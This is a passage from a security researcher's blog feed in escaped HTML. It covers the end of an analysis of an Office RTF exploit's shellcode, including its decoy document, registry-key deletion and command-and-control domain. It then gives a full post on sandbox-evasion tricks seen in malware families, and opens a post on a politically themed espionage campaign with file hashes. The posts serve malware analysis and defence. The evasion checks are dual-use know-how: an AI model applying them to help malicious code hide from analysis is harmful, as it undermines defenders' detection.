&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR4pPHWq0sOgfNR2nqMilMp4Mj-AKVAxWsc3qBDsnk_IYZeIEJo8PZ011HSZwFA_gDrXpSVRGrU-pxrWlOWoM1ZlUe7r2VIdzBs6GeNswZWBJRKVv4oB0pGqcsNqsSaUhxafuuZzrLBfs/s1600/shellcode_8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;216&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgR4pPHWq0sOgfNR2nqMilMp4Mj-AKVAxWsc3qBDsnk_IYZeIEJo8PZ011HSZwFA_gDrXpSVRGrU-pxrWlOWoM1ZlUe7r2VIdzBs6GeNswZWBJRKVv4oB0pGqcsNqsSaUhxafuuZzrLBfs/s400/shellcode_8.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Next part of the shellcode searches for the marker 0xBCBCBCBC , XOR decodes the decoy document with the 4 byte XOR key 0xBAADF00D and then calls previously resolved API UnmapViewOfFile ( ) to unmap the original exploit file from the process&#39;s address space,writes the decoy file to the original exploit document and eventually executes it using WinExec ( )&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYywhOp870Ho1V23Q27-_m7U7QNQQ91l8GsiJlPWs-ZaQSqdrRhxKoYTveLM7BlIS9H4sgx9KDmD-oeF068G9JsZ9_fGAtfmgEmmKLTi1HxO9jvGqcpxrb0iM8aTFXD78DnPi3uYnPKLw/s1600/shellcode_9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;250&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYywhOp870Ho1V23Q27-_m7U7QNQQ91l8GsiJlPWs-ZaQSqdrRhxKoYTveLM7BlIS9H4sgx9KDmD-oeF068G9JsZ9_fGAtfmgEmmKLTi1HxO9jvGqcpxrb0iM8aTFXD78DnPi3uYnPKLw/s400/shellcode_9.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Invokes cmd.exe to delete the registry key &quot;HKCU\Software\Microsoft\Office\12.0\Word\Resiliency&quot; with /F switch to force delete and suppress the error messages from Winword.exe&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjOmzGZJOhZbIyGbMbey4EtOBypfOPuSuQ4s_8HEwg-gRqfectWTIOVIkENPJsETXyLKaZxgXc5YEN1PjlGumNQa3hV6Jz3tU1yf8FngpqPqaXQLcBIcoglRC8Xq8U0hjFa5zvHYPt7-Q/s1600/shellcode_10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;201&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjOmzGZJOhZbIyGbMbey4EtOBypfOPuSuQ4s_8HEwg-gRqfectWTIOVIkENPJsETXyLKaZxgXc5YEN1PjlGumNQa3hV6Jz3tU1yf8FngpqPqaXQLcBIcoglRC8Xq8U0hjFa5zvHYPt7-Q/s400/shellcode_10.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Decoy document :&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfZA1tO_YT7EYxWkO7W_MKn8cvra96N3NATfkDauNigU7UStPS4SygewfkcW-buG0PkurIsgkIrBmSx80qicxjdAT6R0hSeCxtxE_MbaUmHk1tu2t-w3gjpfLZ6OTp0SgU6Wtd3RjLJxU/s1600/shellcode_11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;120&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfZA1tO_YT7EYxWkO7W_MKn8cvra96N3NATfkDauNigU7UStPS4SygewfkcW-buG0PkurIsgkIrBmSx80qicxjdAT6R0hSeCxtxE_MbaUmHk1tu2t-w3gjpfLZ6OTp0SgU6Wtd3RjLJxU/s400/shellcode_11.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
At the time of writing this analysis, dropped executable connected to the C&amp;amp;C server login.loginto.me resolving to 58.158.177.102. Based on the passive DNS records this domain also resolved to&amp;nbsp;23.249.225.140&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZQ5e-MgncOdFIJqhsdCA3v6FpmXrMMPMLCUhCH8gcJGiCZBmwRB3Qgm2JrcpvnUjItEMZOpchpyZ3eCWF76IkDAvLbG-gmQDlZ2x5Y02DMNScdk5maJNi22ICrcJHB48F25IWx9qO-V8/s1600/shellcode_12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;27&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZQ5e-MgncOdFIJqhsdCA3v6FpmXrMMPMLCUhCH8gcJGiCZBmwRB3Qgm2JrcpvnUjItEMZOpchpyZ3eCWF76IkDAvLbG-gmQDlZ2x5Y02DMNScdk5maJNi22ICrcJHB48F25IWx9qO-V8/s400/shellcode_12.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2016/01/microsoft-office-rtf-exploit-cve-2015.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyuUZRoMP6QkQeThshksgUFNcf9DSi5aQQGf7iufRLskdl5e82zqNElCfFfvGDQuW04OlhSOEJw1NHuZaYBEJCSNQGJBGMCYginZ9of9Z_YwFrCXq4Y5JIehaGgrjKVN6Sitrijdz1LrQ/s72-c/1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-608344961847025011</guid><pubDate>Sat, 11 Apr 2015 12:13:00 +0000</pubDate><atom:updated>2015-12-26T17:45:12.460+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><title>Evading Sandboxes : Into The Loopholes Of Sandboxing Technology - Part 2</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Malware authors tend to come out with the innovative methods to detect the virtualized / sandboxing territory and cease to execute the moment they discover it. A while back , I &lt;a href=&quot;http://extreme-security.blogspot.in/2014/09/evading-sandboxes-into-loopholes-of.html&quot; target=&quot;_blank&quot;&gt;blogged&lt;/a&gt; about some of the sandbox evasion techniques used by malwares. In this part , I&#39;ll walk through some of the most recent and efficient evasions used by malicious code to identify sandboxes.&lt;br /&gt;
&lt;br /&gt;
Today, Advance persistent threats and targeted attacks tend to wait for the human interaction with the system to activate the malicious code. Since automated malware analysis frameworks process millions of samples per day, human interaction is bare minimal and malwares does not replicate and as a result, does not show complete behavior. Underlying hardware used to replicate the malwares also expose several artifacts about the environment which isn&#39;t too hard to notice.&lt;br /&gt;
&lt;h4&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Another flavour of DeviceIoControl ( )&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/h4&gt;
In my previous post on this topic , I talked about the technique of using DeviceIoControl ( ) API to fingerprint the hard disk properties. This technique was yet again observerd in Win32/Phorpiex family of malware with the different IO control code. Win32/Phorpiex uses the IoControl Code 0x2D1400 (IOCTL_STORAGE_QUERY_PROPERTY) to check the returned device properties for virtual hard drives.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIwGGQybPiv17KdvwLq5XJM96dAHT1vj_DqwJuBOIYng2ci3ZCNkRQkvLEf5hqqQ6NBfNpzwaZKfPq6R0HDyKcMPLC9eq-jmsdw0oV9ESx7wm1151ENVkfl9gwvlD8OXDzLahS4zK3FnY/s1600/IoControl.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;181&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIwGGQybPiv17KdvwLq5XJM96dAHT1vj_DqwJuBOIYng2ci3ZCNkRQkvLEf5hqqQ6NBfNpzwaZKfPq6R0HDyKcMPLC9eq-jmsdw0oV9ESx7wm1151ENVkfl9gwvlD8OXDzLahS4zK3FnY/s400/IoControl.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
With this method , notice the output on Vmware and Qemu . It exposes the underlying hard drive properties on both the virtualized environment.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTzWg0BWobmSlVCR_p2-EotpAxrvPCk2it_vKF0ePlMDVjSgi9HOd6AJQ0Dkd-8mxWfKLkTBjUABTaLbAbuVefBk1wLvriD7tAdYbHDkBnsCYmQ2ZlaxY8G9IYS2hRl3AY89J5HMbloo8/s1600/harddisk.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;107&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTzWg0BWobmSlVCR_p2-EotpAxrvPCk2it_vKF0ePlMDVjSgi9HOd6AJQ0Dkd-8mxWfKLkTBjUABTaLbAbuVefBk1wLvriD7tAdYbHDkBnsCYmQ2ZlaxY8G9IYS2hRl3AY89J5HMbloo8/s400/harddisk.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Windows Management Instrumentation&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;
Windows Management Instrumentation is the Microsoft’s implementation of Web-Based Enterprise Management (WBEM) which is the industry initiative to develop standard technology for accessing management information .WMI is the default windows service that can execute the WMI scripts which is typically used to automate the administrative tasks. Above that, it provides common interface and object model to extract the management information about the OS, processor, hardware devices, applications and services.&lt;br /&gt;
&lt;br /&gt;
Malwares can abuse this windows interface in multiple ways. One of the method is using WMI Query Language (WQL) to issue the SQL type queries to extract the hardware information. For instance, following queries can be issued by the malware to retrieve the Hard Drive / Processor information and match the keyword QEMU / VMware / Xen in the values returned.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SELECT *FROM Win32_Processor&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SELECT *FROM Win32_BIOS&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SELECT *FROM Win32_DiskDrive&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SELECT *FROM Win32_SCSIController&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;SELECT *FROM Win32_ComputerSystem&lt;/span&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwSOfMpSAun_gfuV4YGo129WNf8gxr01gj6l0xQZD_xSB78lFVDwra8lwkkb_D1sY2HID2WqrZCWDAzvB0NXj7oLAbDZK1rDy3sbX_gJjly9Lj_Y95iERJdealqzPrOwGbNf4GrxZhLMo/s1600/harddisk.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;295&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwSOfMpSAun_gfuV4YGo129WNf8gxr01gj6l0xQZD_xSB78lFVDwra8lwkkb_D1sY2HID2WqrZCWDAzvB0NXj7oLAbDZK1rDy3sbX_gJjly9Lj_Y95iERJdealqzPrOwGbNf4GrxZhLMo/s400/harddisk.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Checking the time acceleration using GetTickCount ( )&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Traditional ways to detect the userland hooks had been to check if the function code does not start with the JMP or CALL instruction. One of the variant of Win32 / Kovter malware family was found to be using slightly different way of checking for the user mode hooks using time acceleration. It calls the API GetTickCount, then sleeps for 500 milliseconds and then calls the GetTickCount again to take the difference of the elapsed time. Sandbox systems historically have been patching sleep ( ) calls to force the stalling code execute faster. This technique performs the difference the time and checks if the code has stalled enough before executing the malicious code. It will terminate the execution if it determines that enough time has not elapsed between these instructions.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ1Ca5eWwlECU9ITf61G-GPGE4ZqpCVFbQhCpUWLVoZwHRvTmHN4wlJNm03lztmhsUwAcX_XIymaXUKv7cA0cMq2JnjxnFA-APEw4gC2P_aEhdXaUTSFKq76ayrtbRXRI1QxRSN8jc_QM/s1600/tickcount.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;148&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ1Ca5eWwlECU9ITf61G-GPGE4ZqpCVFbQhCpUWLVoZwHRvTmHN4wlJNm03lztmhsUwAcX_XIymaXUKv7cA0cMq2JnjxnFA-APEw4gC2P_aEhdXaUTSFKq76ayrtbRXRI1QxRSN8jc_QM/s320/tickcount.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style=&quot;color: #93c47d;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b style=&quot;color: #93c47d;&quot;&gt;&lt;u&gt;No of CPU cores on the virtual machine&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Checking the number of CPU cores on the machine executing the malware is yet another elementary way of detecting the sandboxes environment. Analysis machines used by sandboxing environment are customarily configured with the single core while physical machines are predominantly multi core machines. Malwares can get the number of CPU cores by just calling the GetSystemInfo ( ) API taking the pointer to the SYSTEM_INFO structure, which returns the system data.SYSTEM_INFO structure contains the attribute dwNumberOfProcessors field which can be checked to see if the system is a single core machine.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_qyQBlVSfaMfVkXPjQMKZBPLIKsIEQXm3awDm6O0byNhrx_Wt1X9J4XgpyczeOYyQkrHlIqtj85-_6TmzxeJy3phyuXOERMrJc_X_4yqOkbiryO0rYnpujJooFi4pFxnudKCUnRCrp3A/s1600/cpucore.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;148&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_qyQBlVSfaMfVkXPjQMKZBPLIKsIEQXm3awDm6O0byNhrx_Wt1X9J4XgpyczeOYyQkrHlIqtj85-_6TmzxeJy3phyuXOERMrJc_X_4yqOkbiryO0rYnpujJooFi4pFxnudKCUnRCrp3A/s320/cpucore.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Similar check can also be done by accessing the Process Environment Block of the running process. Offset 0x64 in the PEB defines the NumberOfProcessors on the system.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcVbQPtkfnrQWTwZJdjwd5yOrM7byH77Ii3ctyAh_eWYuVXSDm-ElnyW3S2Nk1veS4o6dL3ABkSGvdp9ohYzNoIUSeoEKdTQZi7dPceD2TltYtjy9jlZDhb1Q6HDSRepQxaW-vwGF_DRs/s1600/cpucore.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;188&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcVbQPtkfnrQWTwZJdjwd5yOrM7byH77Ii3ctyAh_eWYuVXSDm-ElnyW3S2Nk1veS4o6dL3ABkSGvdp9ohYzNoIUSeoEKdTQZi7dPceD2TltYtjy9jlZDhb1Q6HDSRepQxaW-vwGF_DRs/s400/cpucore.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Foreground Windows check using GetForegroundWindow API ( )&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
One of the very predictable behavior of sandboxes is that they do not change or switch between the windows when the malware is being executed. Typically, this window would be the one from where the malware is executed and could be most likely desktop window. Recent variant of Win32 / Gataka banking malware was found to be taking the advantage of this behavior by calling GetForegroundWindow () API to get the handle of the current foreground window. Malware ceaselessly calls this API in the loop until the current window handle is changed after which it starts executing the malicious payload, thereby checking if the human is interacting with the execution environment.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSjq9lOO2alpQOBiKiVpuRWZCX3NkiGpT0Ju9IOb7wZey8RYt2Dy3KBfU9OTvZGPSmv1yTtGaGt_OJRtwRGQ6v3Kx6P7_EuWRwgFTYi9m5V5vuM7G0qGqUT10v-HlDnrPCKiiVTS72I84/s1600/window.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;207&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSjq9lOO2alpQOBiKiVpuRWZCX3NkiGpT0Ju9IOb7wZey8RYt2Dy3KBfU9OTvZGPSmv1yTtGaGt_OJRtwRGQ6v3Kx6P7_EuWRwgFTYi9m5V5vuM7G0qGqUT10v-HlDnrPCKiiVTS72I84/s400/window.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;color: #93c47d;&quot;&gt;Waiting for mouse clicks using SetWindowsHookEx ( ) API&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Variants of Win32 / Banechant malwares employs more stealthier mechanism to evade the sandboxes. It installs the hook procedure using SetWindowsHookEx with the hookId 0x0E into the hook chain to monitor low level mouse events. This API defines the HOOKPROC specifying the callback function to execute when the windows receives mouse events. Earlier variants of Win32 / Banechant checked for a single left mouse click in the callback function before the malicious code is executed while the later variants came with the improved technique of checking for the more than three left mouse clicks before the activation of the payload.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5opeCm6IOlpQnhXSWfioUdDescTc9RasdEP9NaPoP3jjuPkR7WOfZrF_yPhmqvnlAuHsJIIp2lbgm-apyC80d0woMyeme7OM5Q8FvSE6FcVT0DLiVqD8aZ5QfAfW9gTY9EhMQ6FH9lUc/s1600/mouse.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5opeCm6IOlpQnhXSWfioUdDescTc9RasdEP9NaPoP3jjuPkR7WOfZrF_yPhmqvnlAuHsJIIp2lbgm-apyC80d0woMyeme7OM5Q8FvSE6FcVT0DLiVqD8aZ5QfAfW9gTY9EhMQ6FH9lUc/s400/mouse.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As and when sandboxing technology becomes more popular and its adoption grows , malware authors will employ increasing level of sophistication in detecting sandboxes. It is extremely crucial for automated malware analysis systems to keep abreast of all such methods and patch it to keep the environment hidden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2015/04/evading-sandboxes-into-loopholes-of.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIwGGQybPiv17KdvwLq5XJM96dAHT1vj_DqwJuBOIYng2ci3ZCNkRQkvLEf5hqqQ6NBfNpzwaZKfPq6R0HDyKcMPLC9eq-jmsdw0oV9ESx7wm1151ENVkfl9gwvlD8OXDzLahS4zK3FnY/s72-c/IoControl.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-3617719802536799083</guid><pubDate>Fri, 27 Feb 2015 18:20:00 +0000</pubDate><atom:updated>2015-02-27T23:51:59.325+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><title>Espionage Attacks On Indian Organizations Continues In 2015 With More Politically Themed Exploits..!!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
In November last year, I blogged about Operation Mangal , an ongoing targeted attack campaign against several Indian domestic and overseas organizations. I was actively tracking the campaign since last year. In my previous analysis of this attack I uncovered several exploits that were politically themed and closely connected to India’s developmental agenda. The exploits lured victims into opening malicious documents that compromised their machines and stole confidential data. We found that this campaign has been going on since 2010 with periodic variations in the malware families.&lt;br /&gt;
&lt;br /&gt;
Since January this year, we have seen a steady flow of similar exploits as part of this campaign. These exploits continue to be politically themed and closely follow national events. The following are some recent exploit filenames or themes:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Indian Diplomacy At Work — UNSC Reforms.doc (MD5: faa97d7c792e3d8e7fffa9ea755c8efb; first seen: Oct 31, 2014).&lt;/li&gt;
&lt;li&gt;Vibrant Gujarat Summit 2015.doc (MD5: b44a0ebddabee48c1d18f1e24780084b; first seen: Jan &amp;nbsp;6).&lt;/li&gt;
&lt;li&gt;U.S.,_India_to_formulate_smart_city_action_plans_in_three_months.doc (MD5: b0ae36bcf725d53ed73126ed56e55951; first seen: Jan 28).&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja90J5DrgdNmWCdi4IuF98WnTei3Tnx4PZkeZB_wraPOO-Kbw3M3tIl8BF5udmp-ya7CATgASPAxD8Zb2_O-HeXftlvpgKCOE1MDjA_GM89XHAeHNNUwr3w3a1XF9N3F37ERlVY6hMgFA/s1600/image_11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; display: inline !important; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja90J5DrgdNmWCdi4IuF98WnTei3Tnx4PZkeZB_wraPOO-Kbw3M3tIl8BF5udmp-ya7CATgASPAxD8Zb2_O-HeXftlvpgKCOE1MDjA_GM89XHAeHNNUwr3w3a1XF9N3F37ERlVY6hMgFA/s1600/image_11.png&quot; height=&quot;231&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
